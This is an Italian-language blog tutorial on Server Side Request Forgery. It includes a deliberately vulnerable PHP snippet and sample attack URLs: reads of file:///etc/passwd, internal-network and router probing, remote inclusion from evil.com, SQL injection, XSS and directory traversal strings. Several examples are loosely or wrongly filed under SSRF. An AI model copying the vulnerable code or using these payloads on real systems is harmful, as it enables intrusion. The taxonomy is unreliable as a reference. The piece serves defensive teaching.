Una Server Side Request Forgery (SSRF) spiegata semplice

Autore: Davide Cavallini

Oggi parleremo di una vulnerabilità critica che può causare seri danni alla sicurezza delle applicazioni web: la Server Side Request Forgery (SSRF). La SSRF è una vulnerabilità che si verifica quando un server web legge il contenuto degli URL a partire dai parametri GET o POST o dai COOKIE o HTTP HEADERS che gli vengono passati. 

Questa può permettere a un attaccante di richiedere URL ai quali solitamente non sarebbe possibile accedere dalla rete esterna. Un esempio di codice vulnerabile a SSRF lato server è questo:

<?php 
header(‘Content-Type:image/png’); 
echo file_get_contents($_GET[‘url’]); 
?>

In questo specifico caso, se scrivessi http://sito.test/ssrf.php?url=http://192.168.1.1 magari riuscirei ad accedere alle impostazioni del router, o a risorse nella rete interna. Chiaramente anche altri metodi (in questo caso PHP) come file_get_contents(), fopen(), fread(), fsockopen() e curl_exec() possono consentire l’accesso a risorse normalmente non esposte all’esterno.

Ecco alcuni esempi di URL che potrebbero essere accessibili tramite SSRF:

• Funzionalità di Apache non esposte alla rete esterna: http://sito.test/ssrf.php?url=http://localhost
• Accesso ai file del server (Local File Inclusion LFI): http://sito.test/ssrf.php?url=file:///etc/passwd
• Accesso alla rete interna del server: http://sito.test/ssrf.php?url=http://192.168.15.3
• Accesso al router: http://sito.test/ssrf.php?url=http://192.168.0.1

La SSRF è una vulnerabilità molto rischiosa e che può aprire una falla importante nella rete interna, esponendola a qualsiasi cosa.  Ci sono diversi tipi di attacchi che possono essere eseguiti attraverso la Server Side Request Forgery (SSRF), sugli URL che sono diventati accessibili grazie alla vulnerabilità. 

Di seguito sono elencati alcuni dei tipi di attacco più comuni:

1. Port scanning: L’attaccante potrebbe eseguire una richiesta come questa:
   http://example.com/scan_ports?url=http://internal_resource:80
   per eseguire una scansione delle porte aperte sul server e identificare eventuali vulnerabilità.
2. Local file inclusion (LFI): L’attaccante potrebbe eseguire una richiesta come questa:
   http://example.com/include_file.php?file=file:///etc/passwd
   per accedere ai file interni del server.
3. Remote code execution (RCE): L’attaccante potrebbe eseguire una richiesta come questa:
   http://example.com/run_script.php?url=http://evil.com/malicious_script.php
   per eseguire codice remoto sul server.
4. SQL Injection: L’attaccante potrebbe eseguire una richiesta come questa:
   http://example.com/search.php?id=1%20OR%201=1%20–
   per eseguire una query SQL malevola all’interno del database del server.
5. Cross-Site Scripting (XSS): L’attaccante potrebbe eseguire una richiesta come questa:
   http://example.com/search.php?query=<script>alert(‘XSS’)</script>
   per iniettare codice JavaScript malevolo all’interno delle pagine web visualizzate dagli utenti.
6. Cross-Site Request Forgery (CSRF): L’attaccante potrebbe eseguire una richiesta come questa: http://example.com/transfer.php?account=1234&amount=1000&destination=attackers_account
   per eseguire azioni malevole sui siti web visitati dagli utenti.
7. Remote File Inclusion (RFI): L’attaccante potrebbe eseguire una richiesta come questa:
   http://example.com/include_file.php?url=http://evil.com/malicious_script.php
   per includere file remoti all’interno delle pagine web visualizzate dagli utenti.
8. Directory Traversal: L’attaccante potrebbe ese guire una richiesta come questa:
   http://example.com/view_file.php?file=../../etc/passwd
   per accedere a file e cartelle al di fuori della directory di lavoro del server.

Ovviamente per eseguire questo tipo di attacchi bisogna che i “sotto-url” abbiano queste vulnerabilità, ma spesso è così, dato che essendo inaccessibili viene sottovalutata la loro pericolosità. Chiaramente, anche gli SSRF possono essere, a seconda delle casistiche:

1. Error-based: L’attaccante potrebbe eseguire una richiesta come questa: http://example.com/not_existing_page?id=1 e analizzare il messaggio di errore restituito dal server per ottenere informazioni sulle risorse interne.
2. Time-based: L’attaccante potrebbe eseguire una richiesta come questa:
   http://example.com/some_slow_page?id=1%20AND%20SLEEP(5) per analizzare il tempo di risposta del server e ottenere informazioni sulle risorse interne.
3. Blind SSRF: L’attaccante potrebbe eseguire una richiesta come questa:
   http://example.com/check_internal_resource?url=http://internal_resource
   per ottenere informazioni sulle risorse interne senza ricevere alcuna risposta dal server

Di seguito sono elencati alcuni dei protocolli che potrebbero essere comunemente vulnerabili alla SSRF:

1. HTTP: Un attaccante potrebbe manipolare gli URL passati attraverso i parametri GET o POST per richiedere risorse a cui non dovrebbe avere accesso, come funzionalità di Apache non esposte alla rete esterna, file del server (Local File Inclusion LFI), la rete interna del server o il router.
   
2. FTP: Un attaccante potrebbe utilizzare la SSRF per eseguire comandi FTP, come caricare o scaricare file, o eseguire attacchi di tipo port scanning per identificare le porte aperte sul server.
   
3. SMTP: Un attaccante potrebbe utilizzare la SSRF per inviare email da un server di posta interno, causando la perdita di informazioni sensibili o la compromissione dell’integrità del sistema.
   
4. DNS: Un attaccante potrebbe utilizzare la SSRF per eseguire query DNS e ottenere informazioni sulle risorse interne del server, come indirizzi IP, nomi di dominio e servizi.
   
5. LDAP: Un attaccante potrebbe utilizzare la SSRF per eseguire query LDAP e ottenere informazioni sulle risorse interne del server, come utenti, gruppi e servizi.
   
6. SMB: Un attaccante potrebbe utilizzare la SSRF per eseguire comandi SMB e accedere ai file condivisi sul server o alle risorse di rete.
   

In generale, qualsiasi protocollo utilizzato nelle applicazioni web che prevede l’utilizzo di URL potrebbe essere vulnerabile alla SSRF se non si adottano le opportune misure preventive. dÈ importante prestare attenzione ai parametri che vengono passati agli script lato server e validare correttamente tutti gli input per prevenire questo tipo di attacchi.

È importante essere consapevoli di questa vulnerabilità e adottare le misure preventive necessarie per proteggere le applicazioni web. Per prevenire questo tipo di attacchi, è importante prestare attenzione ai parametri che vengono passati agli script lato server e validare correttamente tutti gli input. Inoltre, è possibile utilizzare una whitelist di URL validi per limitare l’accesso solo a risorse autorizzate.

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Davide Cavallini

Davide Cavallini è un esperto sviluppatore senior specializzato in Laravel e JavaScript, con una notevole esperienza come penetration tester. La sua carriera è caratterizzata da un impegno nell'insegnamento e nella condivisione della sua conoscenza, contribuendo alla formazione di nuovi professionisti nel campo dello sviluppo software e della sicurezza informatica. La sua passione per la tecnologia lo spinge a rimanere sempre aggiornato e a esplorare nuove frontiere dell'informatica.